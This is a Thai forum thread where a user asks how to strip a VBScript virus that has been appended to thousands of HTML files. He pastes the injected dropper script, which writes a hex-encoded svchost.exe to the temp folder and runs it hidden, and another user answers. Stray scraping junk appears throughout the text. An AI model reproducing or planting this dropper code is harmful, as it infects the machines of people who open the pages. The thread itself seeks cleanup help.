How to del. this script [Help me please]

adman

on *.htm *.html

</html>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
/ _( ~' B9 R4 S  N3 VWriteData = "4D5A900003................................................."     <<== sample
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
/ M/ F7 t' v' N1 D6 H/ a6 r0 L/ PIf FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
( S1 ~5 G, P  B% f; O2 DNext
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
/ e0 M' |7 h9 a* X4 @% u+ f# U

adman

พอจะหาทางออกได้แล้วครับ...แต่อาจจะมีวิธีอื่นที่ดีกว่า
: W( t/ P+ h  V2 K
ปัญหาของผมก็คือ ไฟล์ติดไวรัส ค่อนข้างจะอันตรายมากทีเดียว
เพราะทุกไฟล์ที่เป็น *.html กับ *.htm
2 C9 o5 b6 T( ~; C% m( a* ]' ^จะถูกฝังโค้ดนี้

1. <SCRIPT Language=VBScript><!--
   ; J5 V6 @2 w; p7 }% ?) O7 [$ @. N
2. DropFileName = "svchost.exe"

คัดลอกไปที่คลิปบอร์ด

ซึ่งมีประมาณ สองเหมือนตัวอีกษรได้ แต่ผมยกตัวอย่างมาแค่นี้

สคริปตัวนี้มันจะทำงานยังไง ?
ก็คือว่า จะสั่งให้ svchost.exe ค้นหาไฟล์ *.html *.htm แล้วฝังโค้ตลงไป ต่อท้าย </html>
, G% e/ ]5 J4 `- l9 ?ซึ่งจะส่งผลให้ขนาดไฟล์ใหญ่ขึ้น จากปกติ 1kb ก็จะเพิ่มเป็น 123kb โดยประมาณ
ทุก ๆ 5 นาทีจะเพิ่มขึ้น 2 เท่าไปเรื่อย ๆ .....สุดท้าย ฮาร์ดดิสค์ก็จะเต็ม แดงเถือกโดยไม่รู้ตัว
CPU ก็จะทำงานหนักตลอดเวลา ส่วน Ram ไม่ต้องห่วง เครื่องคุณมีเท่าไหร่ เต็มหลอดทันที

ดูเหมือนจะไม่หนัก แต่ปัญหาอีกอย่างคือ โปรแกรมสแกนไวรัสแทบทุกตัว จะทำการลบไฟล์นี้ทิ้ง ซะงั้น
' u2 J$ Y, j1 S- e9 A. nซึ่งจริง ๆ ผมไม่ต้องการให้เป็นอย่างนั้น เพราะจะทำให้ไฟล์เสียไปด้วย
ผมต้องการแค่ลบ โค้ดนี้ออกเท่านั้น....

วิธีแก้ปัญหาเท่าที่คิดได้ตอนนี้
( }; ~' ~, y" v% w9 K1. เปิดไฟล์ *.html ทีละตัวแล้วนั่งลบโค้ด
    ถ้ามีประมาณ 10,000 ไฟล์ ก็จบกันพอดี

% n2 y7 t: j6 W, q2. ใช้โปรแกรม notepad++
3 m) R6 d7 T5 h$ E% n# Q    อันนี้พอช่วยได้ ใช้คำสั่ง replace in file
    แต่คำได้แค่ทีละนิด
. _  ^- ?! p/ ~( ^3 I' j% Z
3. ใช้ Ultraedit
    วิธีการเดียวกับ notepad++
$ \/ c( c: k9 r, r    แต่ข้อดีคือ replace infile * ได้ครั้งละ 2,000 ตัวอักษร

  q; V' I. F# L9 Z/ ^ก็ถือว่าค่อนข้างดีขึ้นมาหน่อย
+ f$ F" \" M0 v& {: A- B& B7 }) Nโค้ดไวรัสที่ผมโดนเข้าไปมีประมาณ 20,000 ตัวอักษร สรุปต้องทำประมาณ 10 ครั้ง

: T# J( e7 d/ q' B# Q) u1 M. [
0 r  B  o+ U7 u$ H) y* replace infile   : คือการค้นหาโค้ด และแทนที่ โดยไม่ต้องเปิดไฟล์
- ~' X/ u: m. v: K   สามารถค้นหาได้ถึง subfolder
5 Q8 [& z  J7 P0 u' P
ท่านใดมีทางอื่น แนะนำช่วยด้วยนะครับ

jaideejung007

ลบออกทั้งหมดเหอะครับพี่ หากมันแพร่กระจายไปได้ขนาดนั้น
) Q" X% q/ Z, p& e' g' m! Y
% z7 E  y" f- {/ q  [ถึงเราจะลบออกได้ แต่ก็อาจจะยังหลงเหลืออยู่(ซักไฟล์ล่ะน่า)

adman

พอมีวิธีอื่นไหม
ตอนนี้ไปเจอโปรแกรม Kis 2012 ยังเป็น Beta
: O2 t, U3 V& F" m6 _# Y3 U0 Oรุ้สึกว่าจะทำงานได้ดีกว่า เพราะมันจะลบโค้ดนั้นให้ แต่ไม่ลบไฟล์
, C7 \: V* T4 O4 C- t2 u1 dแค่สั่ง scan เท่านั้น ไม่รู้จะดีไหม กำลังลองดู